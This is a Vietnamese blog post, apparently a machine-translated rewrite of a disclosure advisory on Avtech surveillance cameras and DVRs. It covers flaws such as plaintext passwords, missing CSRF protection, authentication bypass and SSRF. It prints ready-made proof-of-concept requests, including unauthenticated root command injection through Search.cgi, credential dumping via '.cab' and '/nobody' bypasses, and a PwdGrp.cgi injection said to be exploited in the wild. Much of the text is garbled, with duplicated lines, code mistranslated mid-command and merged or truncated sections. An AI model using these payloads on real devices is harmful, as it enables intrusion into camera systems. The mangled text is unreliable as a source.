Avtech nhiều lỗ hổng bảo mật trong camera và hệ thống giám sát
Nền tảng và phần cứng của Avtech được xác nhận bị ảnh hưởng rất nghiêm trọng. ( trong bài viết nêu cụ thể các tính năng bị bỏ trống và các lệnh khai thác dễ dàng vào trong một camera hay Dvr,Nvr của Avtech.com.tw.)
Nền tảng và phần cứng của Avtech được xác nhận bị ảnh hưởng rất nghiêm trọng. ( trong bài viết nêu cụ thể các tính năng bị bỏ trống và các lệnh khai thác dễ dàng vào trong một camera hay Dvr,Nvr của Avtech.com.tw.)
Mỗi thiết bị của Avtech Taiwan (camera IP, NVR, DVR) với phiên bản phần mềm có sẵn, chứa danh sách các phiên bản phần mềm đă được xác nhận đă bị ảnh hưởng.
"AVTECH, thành lập năm 1996, là một trong những nhà sản xuất CCTV hàng đầu trên thế giới. Với doanh thu gia tăng ổn định và triết lý kinh doanh thực tiễn, AVTECH đă được xếp hạng là công ty niêm yết lớn nhất trong ngành công nghiệp giám sát của Đài Loan''.
AVTECH nỗ lực hết mình để đổi mới công nghệ, sản phẩm và thực hiện sản xuất. Dựa trên những năm nghiên cứu và kinh nghiệm trong ngành, AVTECH đă có được vị trí hàng đầu về hỗ trợ nền di động và cung cấp đầy đủ các sản phẩm hệ thống camera giám sát.
Avtech là thuật ngữ tìm kiếm phổ biến thứ hai trong nguồn tìm kiếm Shodan. Theo Shodan, hơn 130.000 thiết bị của Avtech đang tiếp xúc internet trong mã-lỗi an ninh quan trọng này.
Các lỗ hổng
1) Lưu trữ mật khẩu quản trị dạng Plaintext.
Các lỗ hổng
1) Lưu trữ mật khẩu quản trị dạng Plaintext.
Mỗi mật khẩu người dùng được lưu trữ trong một văn bản txt rő ràng. Một kẻ tấn công có quyền truy cập vào thiết bị chính nó có thể dễ dàng có được danh sách đầy đủ các mật khẩu. Bằng cách khai thác các lệnh tiêm hoặc các vấn đề bỏ qua xác thực, kẻ tấn công có thể truy xuất mật khẩu quản trị bằng một tập tin văn bản rő ràng.
2) Thiếu bảo vệ CSRF .
2) Thiếu bảo vệ CSRF .
Giao diện web của Avtech không sử dụng bất kỳ bảo vệ CSRF nào. Nếu mở phiên mặc định tồn tại cho người dùng, kẻ tấn công có thể sửa đổi tất cả các cài đặt của thiết bị qua CSRF. Nếu không có phiên làm việc hợp lệ, nhưng người dùng không thay đổi mật khẩu quản trị mặc định, kẻ tấn công cũng có thể đăng nhập như quản trị viên thông qua CSRF.
3) Không chứng thực thông tin công bố
3) Không chứng thực thông tin công bố
Dưới thư mục / cgi-bin / nobody , mỗi tập lệnh CGI đều có thể được truy cập mà không cần qua các thủ tục xác thực.
POC:
GET /cgi-bin/nobody/Machine.cgi?action=get_capability
POC:
GET /cgi-bin/nobody/Machine.cgi?action=get_capability
Ví dụ trả lời:
Firmware.Version = 1011-1005-1008-1002
MACAddress = 00: 0E: 53: xx: xx: xx
Product.Type = DVR
Product.ID = 308B
Product.ShortName = V_full_Indep, V_Multistream
Video.System = PAL
Audio.DownloadFormat = ULAW
Video.Input.Num = 8
Video.Output.Num = 1
Video.Format = H264, MJPEG
Video.Format.Default = H264
Video.Resolution = 4CIF, CIF
Video.Chất lượng = BEST, HIGH, NORMAL, BASIC
Video.Local.Input.Num = 8
Video.Local.Output.Num = 1
Video.Local.Format = H264, MJPEG
Audio.Input.Num = 8
Audio.Output.Num = 1
Audio.Format = ULAW
Audio.Local.Input.Num = 8
Audio.Local.Output.Num = 1
Audio.Local.Format = PCM
Ngôn ngữ.Default = ENGLISH
MACAddress = 00: 0E: 53: xx: xx: xx
Product.Type = DVR
Product.ID = 308B
Product.ShortName = V_full_Indep, V_Multistream
Video.System = PAL
Audio.DownloadFormat = ULAW
Video.Input.Num = 8
Video.Output.Num = 1
Video.Format = H264, MJPEG
Video.Format.Default = H264
Video.Resolution = 4CIF, CIF
Video.Chất lượng = BEST, HIGH, NORMAL, BASIC
Video.Local.Input.Num = 8
Video.Local.Output.Num = 1
Video.Local.Format = H264, MJPEG
Audio.Input.Num = 8
Audio.Output.Num = 1
Audio.Format = ULAW
Audio.Local.Input.Num = 8
Audio.Local.Output.Num = 1
Audio.Local.Format = PCM
Ngôn ngữ.Default = ENGLISH
Language.Support = ENGLISH & CHINESE & JAPANESE & PHÁP & GERMAN & Tiếng Tây Ban Nha & PORTUGUESE & ITALIAN & TURKISH & POLISH & RUSSIAN & CUSTOMIZE & THAI & VIỆT NAM & DUTCH & GREEK & ARABIC & Séc & Hung và HEBREW & CHINA &
Khả năng = D0,80, A, 80
PushNotify.MaxChannel = 8
4) Không xác thực SSRF trong thiết bị DVR
Trong trường hợp với thiết bị DVR, Search.cgi có thể được truy cập mà không cần xác thực. Dịch vụ này có trách nhiệm tìm kiếm và truy cập vào các camera IP trong mạng nội bộ. Trong các phiên bản phần mềm mới hơn, Search.cgi cung cấp hành động cgi_query, thực hiện một yêu cầu HTTP với các tham số được chỉ định. Bằng cách sửa đổi các tham số ip, port và queryb64str, kẻ tấn công có thể thực hiện các yêu cầu HTTP tùy ý thông qua thiết bị DVR mà không cần phải xác thực.
POC:
/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
POC:
/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
"Http: // <device_ip> /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
5) Không cần xác thực để tiêm lệnh trong các thiết bị DVR
5) Không cần xác thực để tiêm lệnh trong các thiết bị DVR
Hành động cgi_query trong Search.cgi thực hiện các yêu cầu HTML với lệnh hệ thống wget, sử dụng các tham số đă nhận mà không cần dọn sạch hoặc xác minh theo đúng thông lệ an toàn. Bằng cách khai thác vấn đề này, kẻ tấn công có thể thực hiện bất kỳ lệnh hệ thống nào với quyền root mà không cần xác thực.
POC:
/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password$(ps"Http: // <device_ip> /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password> $ (ps | Grep% 20Search.cgi | grep% 20-v% 20grep | đầu% 20-n% 201 | awk% 20 '(in% 20 "/ tmp /" $ 1 ".log"}'); & password = admin
6) bỏ qua xác thực # 1 (.cab)
Plugin cho chương trình phát video được lưu trữ dưới dạng tệp .cab trong thư mục gốc của web, trường hợp này có thể được truy cập và tải xuống mà không cần xác thực. Xác minh yêu cầu tệp cab trên máy chủ web streamd được thực hiện với chức năng strstr , có nghĩa là yêu cầu không cần được xác thực nếu nó có chứa chuỗi ".cab" bất kỳ nơi nào trong URL.
ü Antoanvn lưu ý bạn rằng : một số mô hình camera dvr tốt của các nhà sản xuất khác hơn đều có chứa một lệnh kiểm tra bổ sung trong CgiDaemon, cho phép cgi unauthenticated chỉ truy cập vào thư mục / cgi-bin / nobody.
POC:
/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
POC:
/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
"Http: // <device_ip> /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
7) bỏ qua xác thực # 2 (nobody)
Cgi script trong thư mục / cgi-bin / nobody có thể được truy cập mà không cần có sự xác thực (ví dụ như để đăng nhập). Máy chủ web streamd khi xác minh cho yêu cầu có thể được thực hiện mà không cần xác thực bằng cách tìm kiếm chuỗi "/ nobody" trong URL với chức năng strstr.
Vì vậy, nếu có một yêu cầu nào chứa chuỗi "/ nobody" tại bất kỳ nơi nào trong URL, khi đó nó không cần phải được chứng thực.
ü Antoanvn lưu ý bạn rằng: một số mô hình camera dvr tốt hơn của các nhà sản xuất khác ,luôn luôn có chứa một lệnh kiểm tra bổ sung trong CgiDaemon, cho phép cgi unauthenticated chỉ truy cập vào thư mục / cgi-bin / nobody.
POC:
/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
"Http://<device_ip> /cgi.bin/user/Config.cgi?/nobody&action=get&category=Account.*
8) Không được chứng thực khi tải về
8) Không được chứng thực khi tải về
(File download from web root)
Nếu một file .cab được yêu cầu, máy chủ web sẽ gửi tập tin mà không cần xử lý nó. Bởi vì máy chủ web streamd xác minh yêu cầu tệp cab bằng cách tìm kiếm chuỗi ".cab" trong URL có chức năng strstr, bất kỳ tệp nào (ngay cả các tập lệnh cgi) trong web root có thể được tải xuống mà không cần có xác thực.
POC:
http: / / /cgi-bin/cgibox?.cab9) Login captcha bypass #1To prevent brute-forcing attempts, Avtech devices require a captcha for login requests."/<device_ip>/cgi-bin/cgibox?.cab9)
Đăng nhập captcha bypass # 1
Để ngăn chặn các nỗ lực brute-force, thiết bị Avtech yêu cầu một captcha cho các yêu cầu đăng nhập. /cgi-bin/nobody/VerifyCode.cgi?account=&login" .Tuy nhiên, nếu các yêu cầu đăng nhập chứa thông số login = quick, việc xác minh captcha được bỏ qua.
POC:
http: // <device_ip> /cgi-bin/nobody/VerifyCode.cgi?account= <b64 (username: password)> và đăng nhập = Quick10)
Đăng nhập captcha bypass # 2
Thay vì sử dụng ID theo các phiên ngẫu nhiên, thiết bị camera Dvr của Avtech sử dụng tên người dùng và mật khẩu được mă hoá base64 dưới dạng giá trị Cookie. Vì địa chỉ IP của người dùng đă đăng nhập không được lưu trữ, nếu kẻ tấn công đặt Cookie theo cách thủ công, xác minh captcha có thể bỏ qua dễ dàng.11)
Việc tiêm lệnh injection được xác thực trong CloudSetup.cgiDevices hỗ trợ đám mây Avtech chứa CloudSetup.cgi .Được truy cập sau khi xác thực.
Tham số exefile của một yêu cầu CloudSetup.cgi chỉ ra lệnh hệ thống sẽ được thực thi. /cgi-bin/supervisor/CloudSetup.cgi?exefile=ps12 .Vì không có kiểm tra hoặc kiểm tra dựa trên danh sách trắng của tha
Kích hoạt lệnh đă được thẩm định trong adcommand.cgiSome của các thiết bị Avtech chứa adcommand.cgi để thực hiện các lệnh ActionD. Adcommand.cgi có thể được truy cập sau khi xác thực.
Trong các thiết bị mới hơn, daemon ActionD cung cấp chức năng DoShellCmd, thực hiện cuộc gọi hệ thống với các tham số được chỉ định. Vì không có kiểm tra hoặc kiểm tra dựa trên danh sách trắng của tham số của chức năng DoShellCmd, kẻ tấn công có thể thực hiện các lệnh hệ thống tùy ý với các đặc quyền root.
POC:
POST /chelp /chelp / bộ điều khiển / ads_micro.cgi HTTP / 1.1Host: <device_ip > PwdGrp.cgi
Sử dụng tên người dùng, mật khẩu và các tham số nhóm trong một yêu cầu tạo hoặc sửa đổi người dùng mới trong một lệnh hệ thống mà không cần có sự trợ giúp của PwdGrp.cgi. để xác nhận hoặc khử trůng.
Do đó và kẻ tấn công có thể thực hiện các lệnh hệ thống tùy ý với quyền root.
/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN14)
"Chúng tôi biết rằng lỗ hổng này đang được khai thác trong tự nhiên
POC:
http: // <device_ip> /cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN14)
HTTPS được sử dụng mà không có chứng chỉ xác minh Tác giả . SyncCloudAccount.sh, QueryFromClient.sh và SyncPermit.sh sử dụng wget để truy cập các trang web HTTPS, chẳng hạn như https: //payment.eagleeyes.tw, bằng cách xác định tham số không kiểm tra chứng chỉ.
Do đó, wget bỏ qua xác minh chứng chỉ máy chủ và một cuộc tấn công MITM có thể xảy ra đối với giao tiếp HTTPS.
Timeeline ghi nhận lại các báo cáo về sự liên lạc từ Search-labs và Trend micro đến Avtech.
- 2015.10.19: Lần đầu tiên cố gắng liên lạc với Avtech, nhưng chúng tôi không nhận được phản hồi 2016.05.24: Lần thứ hai liên lạc Avtech mà không có bất kỳ phản ứng
- 2016.05.27: Lần thứ ba cố-gắng liên lạc với Avtech bằng cách gửi e-mail đến các địa chỉ e-mail công cộng của Avtech. Chúng tôi đă không nhận được phản hồi.
- 2016.09.10: Cố gắng liên lạc với Avtech mà không có bất kỳ phản ứng.
- 2016.10.11: Toàn bộ thông tin mở rộng Công trình POCPOC có sẵn để chứng minh các vấn đề sau: Unauthenticated rò rỉ thông tin (khả năng) Bỏ qua xác thực (.cab, không ai) Unauthenticated SSRF trên các thiết bị DVR Đă vô hiệu hóa lệnh tiêm trên các thiết bị DVRLogin captcha bỏ qua với đăng nhập =quick hoặc hướng dẫn sử dụng cookie injectionCloudSetup.cgi lệnh tiêm sau khi tiêm lệnh authenticationadcommand.cgi sau khi xác thực
Một loạt phản ảnh bằng youtube video cũng có sẵn , trong đó trình bày một số vấn đề trên.
Khuyến nghị
Thật không may ''Hiện tại không có giải pháp nào cho những lỗ hổng này ''.
Bạn có thể thực hiện các bước sau để bảo vệ thiết bị của bạn tạm thời:
ü Thay đổi mật khẩu quản trị mặc định.
ü Nên phơi bày giao diện web của bất kỳ thiết bị Avtech nào với Internet
Chúng tôi lưu ý rằng các lỗ hổng trên đă được tìm thấy trong một khoảng thời gian ngắn mà không có cách tiếp cận có hệ thống.
Dựa vào các loại lỗ hổng mà chúng tôi tìm thấy và chất lượng mă nhìn tổng thể, các thiết bị sau này nên cho cài bản vá tương tự mới , nếu không có thì khả năng camera còn chất-chứa nhiều vấn đề hơn.
Antoanvn.com 2017@antoanvn the security diy -elearning-training in Vi language
Không có nhận xét nào:
Đăng nhận xét